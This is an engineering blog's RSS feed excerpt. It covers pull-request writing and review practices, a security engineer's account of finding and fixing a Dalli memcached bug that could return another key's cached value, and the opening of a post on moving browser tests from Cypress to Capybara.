&lt;p&gt;You can hide nonessential information using &lt;code&gt;details&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;details&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;summary&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Toggle me!&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;summary&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;Peek a boo!&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;details&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h4&gt;Adding Footnotes&lt;/h4&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Here is a simple footnote[&lt;/span&gt;&lt;span style=&quot;color:#032F62;text-decoration:underline&quot;&gt;^1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]. With some additional text after it.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#032F62;text-decoration:underline&quot;&gt;^1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]: My reference.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h4&gt;On Structural Artifacts&lt;/h4&gt;
&lt;p&gt;Should I include some kind of diagrams, illustrations, or screenshots?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ substantially modifies code with a lot of branches of essential complexity&lt;/li&gt;
&lt;li&gt;✅ includes a large amount of discrete before/after states&lt;/li&gt;
&lt;li&gt;💡Integrate this element of your practice earlier into your development to minimize effort&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4&gt;On Responding&lt;/h4&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Am I coming at this from the right mental frame?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Does my feedback block approval?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Could this be phrased as a question or observation?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Is this a nit?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Does my review include something I like?&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; checked disabled&gt; If you don&apos;t know what to say but you like it, just use ✨.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;Going deeper&lt;/h3&gt;
&lt;h4&gt;Do I have all the right reviewers?&lt;/h4&gt;
&lt;p&gt;Maybe security, or your platform team should look at this. Perhaps this change will impact another team&apos;s functionality, or there&apos;s a specific subject matter expert who will be able to tell you information you didn&apos;t even know you should think about.&lt;/p&gt;
&lt;h4&gt;Do reviewers have all the information they need?&lt;/h4&gt;
&lt;p&gt;This is figuring out what information you need to include. One big tell you should mention something is when you&apos;re surprised by a piece of information not otherwise indicated in the code. At the least, this information should be present in your pull request. Other information that&apos;s usually good to include? The strategies you used to implement, and maybe even the ones you tried and then threw away. Perhaps it is worth explaining the behavior of the system prior to your change.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ultimately, how well you do this depends on your wisdom. Wisdom is the ability to correctly predict the future in a specific context. Pay attention to what questions you&apos;re asked and what information others seek. Over time, you will learn what you don&apos;t need to say. I&apos;ve noticed that at Aha! we often don&apos;t need to include lots of detail on bug fix pull requests. There is the problem, a link to the bug tracker, and a fix contained in the pull request. Unless the fix is nonintuitive, this often adequately expresses all the information a reviewer needs to make an informed decision.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;Is my information organized in descending levels of scale?&lt;/h4&gt;
&lt;p&gt;You&apos;ve determined what information needs to be present. Now you must determine how to arrange it. This generally means some combination of:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Prior system behavior — useful in pull requests addressing bugs with nonobvious fixes&lt;/li&gt;
&lt;li&gt;What the key abstractions are and why they were introduced — provides a mental anchor for your reviewers to understand and contextualize what code they are seeing&lt;/li&gt;
&lt;li&gt;Little big details — is there system behavior, or other finer-scale details which have an impact on the large-scale design of the system? This is worth prioritizing and highlighting earlier on.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Will someone looking at this in the future be able to access the &quot;what&quot; and &quot;why&quot; behind the &quot;how&quot; of this implementation?&lt;/h4&gt;
&lt;p&gt;This presupposes you have a system in which you track your work. In each pull request, we link back to the record which caused the work. Many of us include the record&apos;s reference identifier in our commits, and we have an in-house CLI tool which will conveniently branch off wherever we&apos;re at and include the reference identifier in our branch name (and thus our default pull request name). Internally, we colloquially refer to these records as &quot;features.&quot;&lt;/p&gt;
&lt;p&gt;If you have never had this experience, let me tell you: it is amazing. Being able to look through the contents and history of the shaping feature allows you to understand what was intended by the code change and why the change was introduced. Knowing this has helped unstick me many many times because I am able to confidently distinguish what code we no longer need and what we must keep.&lt;/p&gt;
&lt;p&gt;Instantly recalling context from people I&apos;ve never met 5+ years ago is just cool. I&apos;ve started using Aha! Develop for personal work and side projects for access to this form of extended personal/organization recall.&lt;/p&gt;
&lt;p&gt;With these bases covered, let&apos;s look at ways you can represent finer scale details.&lt;/p&gt;
&lt;h4&gt;Can I represent this detail with a comment?&lt;/h4&gt;
&lt;p&gt;When there is detail which only makes sense when you&apos;re also considering some specific code, include the detail in the code. For example:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;The space that needs to be added to text is now added &lt;code&gt;&amp;#x3C;other place&gt;&lt;/code&gt;.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Or perhaps you&apos;ve introduced a finer-scale abstraction or refactor that&apos;s only worth calling out the first time a reviewer will reach that line of code.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We do if &lt;code&gt;information.fetched? &amp;#x26;&amp;#x26; information.company_name?&lt;/code&gt; many times in the templates, so I&apos;m adding a convenience method.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;Can I hide nonessential information using &lt;code&gt;&amp;#x3C;details&gt;&lt;/code&gt; ?&lt;/h4&gt;
&lt;p&gt;If there are pieces of information in your pull request that aren&apos;t essential for the first time someone&apos;s reading it, you can hide the information inside a &lt;code&gt;&amp;#x3C;summary&gt;&lt;/code&gt; component. I often use this for quick scripts to set up the system in a certain state, or for deeper explanations of a given topic.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;details&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;summary&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt; How do `details` work? Simple. &amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;summary&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  You have your summary, and your details.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#22863A&quot;&gt;details&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;details&gt;
  &lt;summary&gt; How do `details` work? Simple. &lt;/summary&gt;
&lt;p&gt;You have your summary, and your details.&lt;/p&gt;
&lt;/details&gt;
&lt;h4&gt;Is there supplementary information I could add as footnotes?&lt;/h4&gt;
&lt;p&gt;GitHub added support for &lt;a href=&quot;https://github.blog/changelog/2021-09-30-footnotes-now-supported-in-markdown-fields/&quot;&gt;markdown&lt;/a&gt; footnotes. This is a great feature that lets you include supplementary information which does not fit well inside the main text.&lt;/p&gt;
&lt;p&gt;Quick reference:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Here is a simple footnote[&lt;/span&gt;&lt;span style=&quot;color:#032F62;text-decoration:underline&quot;&gt;^1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]. With some additional text after it.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#032F62;text-decoration:underline&quot;&gt;^1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]: My reference.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;details&gt; &lt;summary&gt; More advanced use, sourced from the linked GitHub post &lt;/summary&gt;
  &lt;img decoding=&quot;async&quot; src=&quot;https://i0.wp.com/user-images.githubusercontent.com/2503052/135463148-0231966e-8631-41a1-b1a7-66746100d20a.gif?ssl=1&quot; alt=&quot;footnote-cropped&quot; loading=&quot;lazy&quot; width=&quot;669&quot; height=&quot;521&quot;&gt;
&lt;/details&gt;
&lt;h4&gt;Should I include some kind of diagram, illustration, or screenshot?&lt;/h4&gt;
&lt;p&gt;If your pull request substantially modifies code with a lot of branches of essential complexity or includes a large amount of discrete before/after states, consider building some sort of informational aid for your reviewers.&lt;/p&gt;
&lt;p&gt;I&apos;ve found myself reaching for &lt;a href=&quot;https://www.aha.io/notebooks/overview&quot;&gt;whiteboards&lt;/a&gt; on multiple features recently. Whiteboards make it really easy to flowchart and enumerate the intended execution.&lt;/p&gt;
&lt;p&gt;Even just in GitHub-flavored markdown alone, you can create some pretty incredible pull requests.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/a57eedcea9119470942cc446648939de/pull_request_2.png&quot; alt=&quot;Diagram, illustration, or screenshot&quot;&gt;&lt;/p&gt;
&lt;/details&gt;
&lt;p&gt;Putting these together during development while the information is already in your head isn&apos;t a lot of extra effort for you. Doing so can produce a tremendous reduction in effort for your reviewers.&lt;/p&gt;
&lt;p&gt;When revisiting older code, a visual cue can quickly remind the reader what this feature looks like, and trigger memories about related context they might have.&lt;/p&gt;
&lt;h4&gt;Can I clarify my title for other contexts?&lt;/h4&gt;
&lt;p&gt;Often your pull request&apos;s title will be the main piece of information that others see in systems outside where you keep your code.&lt;/p&gt;
&lt;p&gt;When I have a feature that spans multiple repositories, I often update my titles to include the repo name in brackets up front so it&apos;s easy to keep straight.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;PIZZA-2022 [pizza-design-system]: upgrade toppings to level Infinity and Beyond&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PIZZA-2022 [pizza-app]: upgrade toppings to level Infinity and Beyond&lt;/code&gt;
(&lt;code&gt;PIZZA-2022&lt;/code&gt; is the format of our Aha! feature reference numbers.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Other pieces of information you might want to consider updating with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Include important keywords to help with searching&lt;/li&gt;
&lt;li&gt;Use a consistent convention such as feature ID prefixes&lt;/li&gt;
&lt;li&gt;Name the &quot;what&quot; or &quot;why&quot; instead of the &quot;how&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tools for responding to pull requests&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Am I coming at this from the right mental frame?&lt;/strong&gt; It is easy to fall into the emotional trap of over-identifying with your work — causing you to beat yourself up as a failure over each change request. Or maybe you&apos;re setting your expectations to a place where change requests will make you feel resentful that you didn&apos;t receive approval instead of grateful someone is trying to make your work better.&lt;/p&gt;
&lt;p&gt;Consider that someone else is spending their life and attention understanding your work and helping you move it forward. Often, these are extremely experienced and skilled peers. Think about a time before, when you were newer, when your sole desire was to learn and improve. What would you have done to get this kind of generous feedback? What would you have given? Then think about now. What&apos;s actually different? Nothing.&lt;/p&gt;
&lt;p&gt;We&apos;re all human. Sometimes there&apos;s deadlines or other kinds of pressure. If you find yourself emotionally reactive, don&apos;t type anything. Step away. Take a moment and figure out why you&apos;re feeling the way you are. Chances are you&apos;re being too harsh on yourself. Be kinder to yourself, or reach out for support.&lt;/p&gt;
&lt;p&gt;The goal is consistently shipping quality work with your team.&lt;/p&gt;
&lt;h4&gt;Could this be phrased as a question or observation?&lt;/h4&gt;
&lt;p&gt;This is a technique I picked up at Aha! which I then realized was pervasively used by effective open source contributors. Once I became cognizant of this technique, I now see it everywhere.&lt;/p&gt;
&lt;p&gt;When you&apos;re not sure you have full context, or want to soften your feedback, phrase it as a question. A question might be:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Could we inline these styles instead of modifying our webpack config for just this one place?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Where an observation would be:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I noticed in my testing that in &lt;code&gt;&amp;#x3C;some conditions&gt;&lt;/code&gt; I&apos;m still seeing &lt;code&gt;&amp;#x3C;cookie that shouldn&apos;t be there&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Phrasing your feedback in terms of questions or observations is humble and generous. It leaves space for what you might not know and keeps the focus on the work you&apos;re doing with your teammates. Not on who was doing it.&lt;/p&gt;
&lt;p&gt;More examples:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Is the &lt;code&gt;property&lt;/code&gt; relevant at all? Not sure what that distinguishes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Can this be private, maybe others too?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The reason why questions are so effective is they create a conversational loop where you can make progress with someone else. This keeps momentum up and the focus on the work you&apos;re doing together. Addressing the question, implementing feedback, clarifying context, etc.&lt;/p&gt;
&lt;p&gt;Such change suggestions can still be submitted with a go-for-launch approval if the code is still going to be improved in the near future. The author can choose whether to address it now, or potentially later.&lt;/p&gt;
&lt;h4&gt;Does my feedback block approval?&lt;/h4&gt;
&lt;p&gt;If you have feedback that requires change and you&apos;re certain it&apos;s necessary, use an active voice and explain your reasoning. This could be a simple bug, a small refactor, or a large need. Either way, if you have feedback that will block code approval, make this clear.&lt;/p&gt;
&lt;p&gt;This is a moment when you can be &lt;em&gt;especially&lt;/em&gt; generous and raise the skill level of your team. Here is an example of some particularly good feedback:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It&apos;s better to test the call one more layer down the stack instead of the private method, as the private method can be refactored now without potentially breaking the dependency on the Tracker layer below.&lt;/p&gt;
&lt;p&gt;That &lt;code&gt;tracker_stubbed&lt;/code&gt; config is defined here and just DRYs up the boilerplate.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This feedback explains &quot;why&quot; and &quot;what,&quot; then provides guidance on &quot;how.&quot; I tend to reserve this for situations where I have absolute certainty, the existing implementation is otherwise functional, and I can&apos;t easily phrase it as a question.&lt;/p&gt;
&lt;h4&gt;Is this a nit?&lt;/h4&gt;
&lt;p&gt;A nit is a small, non-blocking and potentially opinionated change suggestion. I find it is best to call these out directly as a nit:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;nit: this method seems awfully similar to &lt;code&gt;SomeClass#this_other_method&lt;/code&gt;. Could we use that instead?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;nit: why not &lt;code&gt;!private?&lt;/code&gt; instead of listing every other option?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Using language which directly implies this is a nit and maybe we want to do it (at the author&apos;s discretion):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Maybe a better way to access this:
&lt;code&gt;&amp;#x3C;code example&gt;&lt;/code&gt;
I think this will also give you the titleized version, removing the need to call &lt;code&gt;toUpperCase&lt;/code&gt; below.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Or it is a personal preference:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I prefer to do &lt;code&gt;&amp;#x3C;thing you&apos;re doing&gt;&lt;/code&gt; like this:
&lt;code&gt;&amp;#x3C;code example&gt;&lt;/code&gt;
Because then you get x, y, and z.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;Does my review include something I like?&lt;/h4&gt;
&lt;p&gt;It&apos;s easy to end up only commenting on things to be critical of. Take time to acknowledge the parts that are good, too.&lt;/p&gt;
&lt;p&gt;When you see something you like, say it. If you don&apos;t know what to say but you like it, use ✨.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I really like how &lt;code&gt;&amp;#x3C;thing is working&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Thanks for the well-reasoned approach here&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Those capybara specs 💯&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Nice. Bonus points for meme style.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Choose tools to support your purpose&lt;/h2&gt;
&lt;p&gt;Remember, the goal is a durable, refined practice you can lean on to write a pull request that meets spec in the shortest amount of time.&lt;/p&gt;
&lt;p&gt;Questions are resilient and adaptable to context. Advice is brittle. The best tools to keep in your upstream are questions.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;#cheat-sheet&quot;&gt;Here is the cheat sheet&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Aha! is happy, healthy, and hiring. Join us!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This blog post only exists because of efforts of other engineers on the team. I stopped multiple times in the middle of reading a pull request with the recognition &apos;this is so well done.&apos; These moments prompted me to dig in further to understand what specific techniques were causing this reaction in me. If you want to build lovable software with this talented and growing team, &lt;a href=&quot;https://www.aha.io/company/careers/current-openings?category=engineering&quot;&gt;apply to an open role&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Solving a critical bug in the default Rails caching library]]></title><description><![CDATA[An odd coincidence On March 20th, ChatGPT users reported seeing conversations that were not their own. Just a few weeks earlier I had solved…]]></description><link>https://www.aha.io/engineering/articles/solving-a-critical-bug-in-the-default-rails-caching-library</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/solving-a-critical-bug-in-the-default-rails-caching-library</guid><dc:creator><![CDATA[Andrew Jones]]></dc:creator><pubDate>Mon, 08 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;An odd coincidence&lt;/h2&gt;
&lt;p&gt;On March 20th, ChatGPT users &lt;a href=&quot;https://old.reddit.com/r/ChatGPT/comments/11wkw5z/has_chatgpt_or_me_been_hacked_ive_never_had_these/&quot;&gt;reported&lt;/a&gt; seeing conversations that were not their own. Just a few weeks earlier I had solved a bug where the &lt;a href=&quot;https://guides.rubyonrails.org/caching_with_rails.html#activesupport-cache-memcachestore&quot;&gt;default Rails caching library&lt;/a&gt; (Dalli) would return incorrect values. I thought, &quot;this ChatGPT incident sounds a lot like what could happen with that caching bug via returning incorrect cached HTML.&quot; But OpenAI doesn&apos;t use Rails so I shrugged the thought off as recency bias.&lt;/p&gt;
&lt;p&gt;My jaw dropped when I saw the &lt;a href=&quot;https://openai.com/blog/march-20-chatgpt-outage&quot;&gt;postmortem&lt;/a&gt; — it was exactly the same bug concept, just in a &lt;a href=&quot;https://github.com/redis/redis-py&quot;&gt;different library&lt;/a&gt;! A reminder that hard things often transcend particular languages and libraries. And boy, is this a hard bug. It sits at the intersection of caching, shared resource management, and state corruption — infamously tricky problem spaces.&lt;/p&gt;
&lt;h2&gt;The bug mechanism&lt;/h2&gt;
&lt;p&gt;The Dalli caching client connects to a memcached server with a socket (which is essentially just a buffer, I&apos;ll use the terms interchangeably). The client issues a get message to the server which says &quot;give me the value for this key&quot;. In response, the server writes some data into the socket buffer. The client then reads bytes off of the socket until it has processed one complete response, making the assumption that what it&apos;s reading is the response to its own get message. If the socket was empty at the beginning of the operation, that assumption works and the client returns the correct cache value.&lt;/p&gt;
&lt;p&gt;But what if the buffer was &lt;em&gt;not&lt;/em&gt; empty when the client issued the get command? Then the client processes the data that was on the socket as if it were the requested value, and — since no extra validation steps occur — &lt;strong&gt;returns the wrong value for the given key&lt;/strong&gt;. Worse, because it would only read one value&apos;s worth of data out of the buffer (it knows when to stop reading based on a metadata header), the actual response to its request would remain on the socket for the next request to return incorrectly, and so on.&lt;/p&gt;
&lt;p&gt;The socket has thus entered an indefinite &quot;off by one&quot; corrupt state. Meaning the nth get operation will return the value for the n-1th operation&apos;s key, leaving its own value in the buffer for the n+1th to read. Oh no! That corrupted state in a different library &lt;a href=&quot;https://github.com/redis/redis-py/issues/2624&quot;&gt;explains&lt;/a&gt; ChatGPT&apos;s incident.&lt;/p&gt;
&lt;p&gt;If your cache system starts returning the wrong values that&apos;s very scary from a security perspective, because data or HTML cached for one user might be shown to another user. In the case I saw firsthand this didn&apos;t happen because the incorrect cache values all type mismatched, causing the process to error repeatedly until it was killed. That was lucky, but a Rails app conceivably could see the exact kind of incident OpenAI saw. It would just depend on what type of data was on the corrupted socket and how the application uses the cache.&lt;/p&gt;
&lt;h2&gt;How it happens&lt;/h2&gt;
&lt;p&gt;Why would there be an unread value in the buffer? &lt;strong&gt;All that&apos;s required is for the client to send a get command to the server and then fail to actually read the response&lt;/strong&gt; — while also leaving the socket around for a future request to use.&lt;/p&gt;
&lt;p&gt;One way this might happen in Dalli is if there&apos;s an &lt;a href=&quot;https://github.com/petergoldstein/dalli/issues/321&quot;&gt;issue&lt;/a&gt; in &lt;code&gt;get_multi&lt;/code&gt; code. This could occur if the client requests multiple values, reads some subset of those values off of the socket, and then returns before the server finishes writing all of the values to the socket. Another way this might happen is if something - say, an error or a timeout - interrupts the client code execution between issuing a get message and reading the response.&lt;/p&gt;
&lt;p&gt;Ideally the client would discard/reset the socket in case of an error or timeout, and in most scenarios that&apos;s exactly what would happen. But all it takes is one code path where the socket can get corrupted and stick around. Unfortunately, there is at least one such a code path, explaining the incorrect caching behavior I observed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The specifics are less important than the question of whether the client should rely completely on the assumption that the socket will be empty when it begins a get operation.&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;The fix&lt;/h2&gt;
&lt;p&gt;As a security engineer I love when I can solve a bug deep in an abstraction, making it impossible for a developer using the abstraction to cause the bug again — even if they make a mistake. We should encourage developers to avoid known dangers, sure, but it&apos;s best for an abstraction itself to prevent unacceptable outcomes automatically. Or, within the abstraction, we should try to manage our state correctly, but it&apos;s best if we can preclude the worst impacts even if there&apos;s a flaw and some unexpected state emerges. It is far more robust to make a failure case impossible at the root instead of relying on all the higher level code doing the right thing every time.&lt;/p&gt;
&lt;p&gt;To that end, I pursued a simple foundational fix. Memcached has a &lt;code&gt;getk&lt;/code&gt; &lt;a href=&quot;https://github.com/memcached/memcached/wiki/BinaryProtocolRevamped#get-get-quietly-get-key-get-key-quietly&quot;&gt;command&lt;/a&gt;, which differs from &lt;code&gt;get&lt;/code&gt; by returning the key alongside the value. The downside is a small performance cost — returning the key means processing more bytes. The upside is that the client gets both the key and the value back from memcached, and can check that the key matches what it asked for.&lt;/p&gt;
&lt;p&gt;That&apos;s the &lt;a href=&quot;https://github.com/aha-app/dalli/pull/2/files#diff-f7e593880226d650e228c95c83f855fd6d8f9715d9354092faf3c450372f011d&quot;&gt;core of my implementation&lt;/a&gt; - &lt;strong&gt;if the keys don&apos;t match, raise an error&lt;/strong&gt;. Simple. Now even if the buffer contains a leftover value for a different key, the client won&apos;t return it. Instead it will reset and retry.&lt;/p&gt;
&lt;h2&gt;Analyzing the fix&lt;/h2&gt;
&lt;p&gt;What of the cost vs benefit? In the context of a multi-tenant Rails application, it is generally not an acceptable risk to potentially expose one tenant&apos;s data to another, even in a low probability event. A small increase in overhead to completely rule out a data exposure bug is a small price to pay.&lt;/p&gt;
&lt;p&gt;In this case, the overhead is &lt;em&gt;really&lt;/em&gt; small. When I rolled out this implementation in an application serving millions of requests a day, there was &lt;strong&gt;zero measurable impact on performance&lt;/strong&gt;. Even if the overhead was noticeable, it would still be worthwhile to pay the cost for most threat models.&lt;/p&gt;
&lt;p&gt;It is conceivable that an application using the caching client might make a different cost/benefit calculation and decide that performance is paramount and key:value integrity failures are acceptable. That&apos;s why one approach I proposed was making it a configuration option in the upstream PR. Unfortunately the maintainer &lt;a href=&quot;https://github.com/petergoldstein/dalli/pull/959#issuecomment-1464167685&quot;&gt;did not agree&lt;/a&gt; that the client should solve this problem at all, despite &lt;a href=&quot;https://github.com/petergoldstein/dalli/issues/667&quot;&gt;multiple&lt;/a&gt; other &lt;a href=&quot;https://github.com/petergoldstein/dalli/issues/123&quot;&gt;reports&lt;/a&gt; of it happening in production systems.&lt;/p&gt;
&lt;p&gt;The maintainer had some &lt;a href=&quot;https://github.com/petergoldstein/dalli/issues/956#issuecomment-1464198149&quot;&gt;valid points&lt;/a&gt; — application layer timeouts in Ruby are &lt;a href=&quot;https://www.mikeperham.com/2015/05/08/timeout-rubys-most-dangerous-api/&quot;&gt;dangerous&lt;/a&gt;, and if you&apos;re using them, extreme caution is warranted. Consider killing the process entirely after a timeout to prevent state corruption bugs like this one.&lt;/p&gt;
&lt;p&gt;Nonetheless, I firmly believe that given the severity of this issue it is worthwhile for the client itself to prevent the worst impact from happening. I am also not convinced that timeouts are the only way for this bug to happen. See the &lt;a href=&quot;https://github.com/petergoldstein/dalli/issues/321&quot;&gt;get_multi&lt;/a&gt; issue or consider the possibility of a future code change introducing a connection handling bug.&lt;/p&gt;
&lt;h2&gt;Alternatives&lt;/h2&gt;
&lt;p&gt;Another way to solve the problem would be to keep the socket locked until the response is read. That way, a socket with an unread response would not be re-used by a subsequent operation. I&apos;m not sure why Dalli doesn&apos;t already work this way, but currently it releases the lock after issuing the get command and re-acquires it before reading the response. I opened a &lt;a href=&quot;https://github.com/petergoldstein/dalli/pull/957&quot;&gt;second PR&lt;/a&gt; proposing to keep the lock on the socket for the entire get sequence, which was also rejected.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;safe_get&lt;/code&gt; implementation still has an advantage in that it works regardless of whether the socket is properly handled or even if memcached sends extraneous responses. That approach is &lt;a href=&quot;https://github.com/aha-app/dalli/pull/2&quot;&gt;publicly available&lt;/a&gt; and production tested. Please let me know if you have any questions or feedback about it!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Migrating from Cypress to Capybara — a reluctant tale]]></title><description><![CDATA[Many months ago, our team had to have a hard conversation about Cypress. Cypress was the new kid in our CI pipeline, a browser integration…]]></description><link>https://www.aha.io/engineering/articles/migrating-from-cypress-to-capybara</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/migrating-from-cypress-to-capybara</guid><dc:creator><![CDATA[Jeremy Wells]]></dc:creator><pubDate>Thu, 27 Apr 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Many months ago, our team had to have a hard conversation about Cypress. Cypress was the new kid in our CI pipeline, a browser integration testing framework. We had thought it would replace &lt;a href=&quot;https://www.aha.io/engineering/articles/using-capybara-to-test-responsive-code&quot;&gt;Capybara&lt;/a&gt;, our older way of driving a browser manically around our website. Capybara was slow, we thought. It had bad developer feedback, we thought. The tests needed to be written in Ruby and wouldn&apos;t it be far more comfortable writing them in JavaScript, we thought?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cypress was having problems. Sometimes the tests passed, sometimes the tests failed. What we did in between those times had little effect. Cypress was flaky.&lt;/p&gt;
&lt;/blockquote&gt;
